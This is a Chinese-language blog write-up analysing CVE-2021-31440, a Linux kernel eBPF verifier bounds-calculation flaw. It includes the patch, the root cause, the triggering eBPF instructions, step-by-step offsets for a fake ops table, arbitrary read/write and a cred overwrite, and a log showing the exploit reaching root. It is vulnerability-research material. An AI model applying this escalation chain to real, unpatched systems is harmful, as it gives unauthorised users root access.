bsauce

【kernel exploit】CVE-2021-31440 eBPF边界计算错误漏洞（Pwn2Own 2021）

2021/06/09 Kernel-exploit 共 9153 字，约 27 分钟

【kernel exploit】CVE-2021-31440 eBPF边界计算错误漏洞（Pwn2Own 2021）

影响版本：Linux 5.7 ~ 5.11.20 8.8分。 v5.11.21已修补，v5.11.20未修补。

测试版本：Linux-5.11 exploit及测试环境下载地址—https://github.com/bsauce/kernel_exploit_factory

编译选项：CONFIG_BPF_SYSCALL，config所有带BPF字样的。

General setup —> Choose SLAB allocator (SLUB (Unqueued Allocator)) —> SLAB

在编译时将.config中的CONFIG_E1000和CONFIG_E1000E，变更为=y。参考

$ wget https://mirrors.tuna.tsinghua.edu.cn/kernel/v4.x/linux-4.11.9.tar.xz
$ tar -xvf linux-5.11.tar.xz
# KASAN: 设置 make menuconfig 设置"Kernel hacking" ->"Memory Debugging" -> "KASan: runtime memory debugger"。
$ make -j32
$ make all
$ make modules
# 编译出的bzImage目录：/arch/x86/boot/bzImage。

漏洞描述：eBPF模块—kernel/bpf/verifier.c的__reg_combine_64_into_32() 函数，寄存器计算错误。

补丁：patch

diff --git a/kernel/bpf/verifier.c b/kernel/bpf/verifier.c
index 637462e9b6ee9..9145f88b2a0a5 100644
--- a/kernel/bpf/verifier.c
+++ b/kernel/bpf/verifier.c
@@ -1398,9 +1398,7 @@ static bool __reg64_bound_s32(s64 a)
 
 static bool __reg64_bound_u32(u64 a)
 {
-	if (a > U32_MIN && a < U32_MAX)
-		return true;
-	return false;
+	return a > U32_MIN && a < U32_MAX;
 }
 
 static void __reg_combine_64_into_32(struct bpf_reg_state *reg)
@@ -1411,10 +1409,10 @@ static void __reg_combine_64_into_32(struct bpf_reg_state *reg)
 		reg->s32_min_value = (s32)reg->smin_value;
 		reg->s32_max_value = (s32)reg->smax_value;
 	}
-	if (__reg64_bound_u32(reg->umin_value))
+	if (__reg64_bound_u32(reg->umin_value) && __reg64_bound_u32(reg->umax_value)) {
 		reg->u32_min_value = (u32)reg->umin_value;
-	if (__reg64_bound_u32(reg->umax_value))
 		reg->u32_max_value = (u32)reg->umax_value;
+	}
 
 	/* Intersecting with the old var_off might have improved our bounds
 	 * slightly.  e.g. if umax was 0x7f...f and var_off was (0; 0xf...fc),
diff --git a/tools/testing/selftests/bpf/verifier/array_access.c b/tools/testing/selftests/bpf/verifier/array_access.c
index 1b138cd2b187d..1b1c798e92489 100644
--- a/tools/testing/selftests/bpf/verifier/array_access.c
+++ b/tools/testing/selftests/bpf/verifier/array_access.c
@@ -186,7 +186,7 @@
 	},
 	.fixup_map_hash_48b = { 3 },
 	.errstr_unpriv = "R0 leaks addr",
-	.errstr = "invalid access to map value, value_size=48 off=44 size=8",
+	.errstr = "R0 unbounded memory access",
 	.result_unpriv = REJECT,
 	.result = REJECT,
 	.flags = F_NEEDS_EFFICIENT_UNALIGNED_ACCESS,

保护机制：开启KASLR/SMEP/SMAP。

利用总结：利用verifier阶段与实际执行阶段的不一致性，进行越界读写。泄露内核基址、伪造函数表、实现任意读写后篡改本线程的cred。

一、漏洞分析

该漏洞和CVE-2020-8835，CVE-2020-27194这两个漏洞的原理类似，均是在32位和64位之间进行转换操作时，错误计算了寄存器的约束边界，导致可以绕过验证器检查实现越界读写。缺陷代码出现在kernel/bpf/verifier.c的__reg_combine_64_into_32() 函数中，该函数是在commit_id：3f50f132d840中引入的，该功能实现了用64位寄存器上的已知范围来推断该寄存器低32位的范围，但是同样出现了类似的计算错误，该函数实现如下：

static void __reg_combine_64_into_32(struct bpf_reg_state *reg)
{
	__mark_reg32_unbounded(reg);

	if (__reg64_bound_s32(reg->smin_value) && __reg64_bound_s32(reg->smax_value)) {	// [1]
		reg->s32_min_value = (s32)reg->smin_value;
		reg->s32_max_value = (s32)reg->smax_value;
	}
	if (__reg64_bound_u32(reg->umin_value))				// [2] 只有最大值在32位的范围内，64位的最小值才是32位的最小值
		reg->u32_min_value = (u32)reg->umin_value;
	if (__reg64_bound_u32(reg->umax_value))				// [3]
		reg->u32_max_value = (u32)reg->umax_value;

	/* Intersecting with the old var_off might have improved our bounds
	 * slightly.  e.g. if umax was 0x7f...f and var_off was (0; 0xf...fc),
	 * then new var_off is (0; 0x7f...fc) which improves our umax.
	 */
	__reg_deduce_bounds(reg);
	__reg_bound_offset(reg);
	__update_reg_bounds(reg);
}

static bool __reg64_bound_s32(s64 a)
{
	return a > S32_MIN && a < S32_MAX;
}
static bool __reg64_bound_u32(u64 a)
{
	if (a > U32_MIN && a < U32_MAX)
		return true;
	return false;
}

漏洞：[1]处，如果smin_value和smax_value都在带符号的32位整数范围内，则将相应的更新32位带符号范围大小，对于有符号的范围来说，这种操作是正确的。在无符号范围的相应逻辑中，对umin_value和umax_value分别在[2] 和 [3] 进行了检查，这里检测逻辑错误。例如，设置dreg->umin_value=1，dreg->umax_value=1<<32，即 0x100000000，经过以上操作后，reg->u32_min_value=1，reg->u32_max_value=0，高位被截断。此时reg寄存器的32位范围已经混乱，但是运行时reg的范围是正常的。

本质原因：漏洞代码认为有符号64位最小值为1时，32位最小值也为1，其实不一定，64位的最小值和32位的最小值并一定相等，两者并没有关系。例如64位有符号数的最小值为0x1ffffffff，而32位最小值就为-1了。可以联想到无符号数也是这种情况，比如无符号64位最小值也不一定等于32位无符号的最小值，例如64位无符号的最小值为0x100000000，32位无符号的最小值就为0。但看了代码，发现但开发者并没有补，这漏洞本质原因是64位数的范围不同于32位数的范围。

补丁：之前commit b02709587ea3对于有符号边界的情况，已经进行了修改，也即将有符号的smin_value和smax_value判断条件合并到一起，但没有管无符号判断的情况。正确的补丁是，将[2] [3]合并在一起，同时判断 umin_value 和 umax_value，也即合并为if (__reg64_bound_u32(reg->umin_value) && __reg64_bound_u32(reg->umax_value)) {。

调用链：do_check_main() -> do_check_common() -> do_check() （L10140） -> check_cond_jmp_op() （L8117 / L8144） -> reg_set_min_max() （L7701） -> __reg_combine_64_into_32()

二、调试分析

参考1对应的exp是CVE-2021-31440.c；参考2对应的exp是CVE-2021-31440_2.c。都能利用成功。

首先将BPF_REG_7寄存器设置为1«32，即0x10000000，并通过两个连续的NEG指令使验证器无法跟踪寄存器的范围，同时可以保证寄存器的值在运行时不变。可以通过如下BPF指令实现：

// (1) trigger vulnerability
    BPF_MAP_GET(0,BPF_REG_5),     						// 9: (79) r5 = *(u64 *)(r0 +0) 					传进r5=0x180000000

    BPF_MOV64_REG(BPF_REG_8, BPF_REG_0), 				// 11: (bf) r8 = r0
    BPF_MOV64_REG(BPF_REG_7, BPF_REG_0), 				// 12: (bf) r7 = r0
    BPF_MOV64_REG(BPF_REG_6, BPF_REG_5),				// 13: (bf) r6 = r5

    BPF_JMP_IMM(BPF_JSGE, BPF_REG_6, 1, 1),				// 14: (75) if r6 s>= 0x1 goto pc+1  	对1进行有符号比较
    BPF_EXIT_INSN(),									// 15: (95) exit

    BPF_LD_IMM64(BPF_REG_2, 0x8fffffff),				// 16: (18) r2 = 0x8fffffff 			此时认为r6的范围为：[1,0x7fffffffffffffff]
    BPF_JMP_REG(BPF_JGT, BPF_REG_6, BPF_REG_2, 1),		// 18: (2d) if r6 > r2 goto pc+1 		此时对r2进行无符号比较
    BPF_EXIT_INSN(),									// 19: (95) exit						得到r2的64位范围为[0x90000000,0x7fffffffffffffff]，32位范围为：[0x90000000, 0xffffffff]，这里检查就出现了错误：64位操作数的比较，32位的范围应该是不清楚的，但却得到范围[0x90000000, 0xffffffff]，只要传进来的数32位部分不在此范围，就可以触发漏洞

    BPF_MOV32_REG(BPF_REG_6, BPF_REG_6),				// 20: (bc) w6 = w6 					对64位进行截断，只看32位部分，范围依旧是[0x90000000, 0xffffffff]
    BPF_ALU32_IMM(BPF_ADD, BPF_REG_6, 0x70000000),		// 21: (04) w6 += 1879048192 			w6+=0x70000000,得到范围为[0,0x6fffffff]
    BPF_ALU64_IMM(BPF_RSH, BPF_REG_6, 31),				// 22: (77) r6 >>= 31 					右移31位，取32位范围的符号位，因为认为范围是[0,0x6fffffff]，所以r6恒为0。而实际执行时，传入0x180000000时，r6=1

三、漏洞利用

漏洞利用部分可参考CVE0-2020-8835利用，利用过程相同，只需修改部分地址，进行适配。

利用过程：介绍bpf_array->value布置，value[0]—触发漏洞的寄存器初始值；value[1]—功能选项，0泄露内核基址、1任意读、2泄露&value[0]、3任意写；value[2]—写入的值。

  • （1）创建eBPF代码，载入内核，通过verifier检查；

  • （2）泄露内核基址(op=0)：读取bpf_array->map->ops指针，位于 &value[0]-0x110 (eBPF程序中可以获取&value[0]，再减去0x110即可)，读出来的地址存放在value[4]，用户层调用bpf_lookup_elem()即可获取。

    gdb-peda$ p/x &(*(struct bpf_array *)0)->value
$1 = 0x110
$ cat /tmp/kallsyms | grep startup_64    # 泄露出来的 bpf_array->map->ops 减去加载地址，获得偏移
ffffffff81000000 T startup_64

  • （3）&value[0]+0x80+0x70处伪造 bpf_array->map->ops->->map_push_elem：先任意读(op=1)泄露bpf_array->map->ops->map_get_next_key，然后在&value[0]+0x80处伪造bpf_array->map->ops函数表，将map_push_elem替换为map_get_next_key，便于之后构造任意写；

    pwndbg> p/x &(*(struct bpf_map_ops*)0)->map_push_elem
$11 = 0x70
pwndbg> p/x &(*(struct bpf_map_ops*)0)->map_get_next_key
$12 = 0x20

  • （4）泄露&value[0] (op=2)：便于在value[]上伪造假的bpf_array->map->ops函数表；读取value[0]的地址，由于 bpf_array->waitlist (偏移0xc0)指向自身，所以 &value[0]= &bpf_array->waitlist + 0x50，只需读取 &value[0]-0x110+0xc0 的值，加上0x50即可，读出来的地址存放在value[4]。

    gdb-peda$ p/x &(*(struct bpf_array *)0)->map->freeze_mutex->wait_list
$4 = 0xc0

  • （5）泄露task_struct地址(op=1)：任意地址读，一次只能读4字节，篡改 bpf_array->map->btf (偏移0x40)，利用 bpf_map_get_info_by_fd 泄露 map->btf+0x58 地址处的4字节（将map->btf篡改为target_addr-0x58即可）；首个task_struct地址存放在init_pid_ns。

    pwndbg> p/x &(*(struct btf*)0)->id
$13 = 0x58
pwndbg> p/x &(*(struct bpf_map_info*)0)->btf_id
$14 = 0x40
  
$ cat /proc/kallsyms | grep init_pid_ns
0xffffffff82663ca0
$ x /20xg init_pid_ns_addr
$ p *(struct task_struct*) xxxxxxxx   # 确认 init_pid_ns 的偏移0x38处存放 task_struct 地址（real_cred 和 cred 地址相同），Linux-5.11版本就是0x30

  • （6）找到本线程的cred地址(op=1)：遍历 task_struct->tasks->next 链表，读取指定线程的cred地址。

    gdb-peda$ p/x &(*(struct task_struct *)0)->pid
$7 = 0x908
gdb-peda$ p/x &(*(struct task_struct *)0)->cred
$8 = 0xac8
gdb-peda$ p/x &(*(struct task_struct *)0)->tasks 	# 下一个 task_struct 的地址
$9 = 0x808

  • （7）修改cred，任意地址写(op=3)：篡改 bpf_array->map->ops 函数表指针，指向&value[0]+0x80处伪造的bpf_map_ops函数表，将map_push_elem改为map_get_next_key ，这样调用map_push_elem时实际会调用map_get_next_key ，能够任意写4字节（用户层调用bpf_update_elem()）；还需要构造 map 的3个字段绕过某些检查。

    # 需构造 map 的3个字段绕过某些检查
# 1. bpf_array->map->map_type = BPF_MAP_TYPE_STACK (0x17)
pwndbg> p/x &(*(struct bpf_array*)0)->map->map_type
$10 = 0x18
# 2. bpf_array->map->max_entries = 0xffffffff
pwndbg> p/x &(*(struct bpf_array*)0)->map->max_entries
$9 = 0x24
# 3. bpf_array->map->spin_lock_off = 0
pwndbg> p/x &(*(struct bpf_array*)0)->map->spin_lock_off
$8 = 0x2c

问题：Linux-5.11.20 版本总是无法泄露内核基址。不知道是不是新版内核加入了BPF保护措施。

exp适配：

  • （1）update_elem(0, 2); -> update_elem(0, 0x180000000); 也即value[0]是传入的r6的值，用于触发漏洞。
  • （2）以上利用过程中涉及到的偏移。

测试结果：

/ $ uname -a
Linux (none) 5.11.0 #1 SMP Tue Jun 8 06:45:20 PDT 2021 x86_64 GNU/Linux
/ $ id
uid=1000(chal) gid=1000(chal) groups=1000(chal)
/ $ cd exp
/exp $ ./CVE-2021-31440
[*] sneaking evil bpf past the verifier
processed 226 insns (limit 1000000) max_states_per_insn 1 total_states 20 peak_3

[*] creating socketpair()
[*] attaching bpf backdoor to socket
leak addr: 0xffffffffbc6358a0
linux base: 0xffffffffbb600000
value addr: 0xffff8baec2eb7110
init_pid_ns addr: 0xffffffffbcc63ca0
self pid is 127
task_struct addr: 0xffff8baec12096c0
iter pid 1 ...
[+] iter task 0xffff8baec120c440 ...
iter pid 2 ...
......
[+] iter task 0xffff8baec138ad80 ...
iter pid 127 ...
got it!
get cred_addr 0xffff8baec1372480
usage: 8
getting shell!
/exp # id
uid=0(root) gid=0(root) egid=1000(chal) groups=1000(chal)
/exp #

参考

Linux内核eBPF verifier边界计算错误漏洞分析与利用（CVE-2021-31440）

CVE-2021-31440：Linux 内核eBPF提权漏洞分析（Pwn2Own 2021）

文档信息

Search

    Table of Contents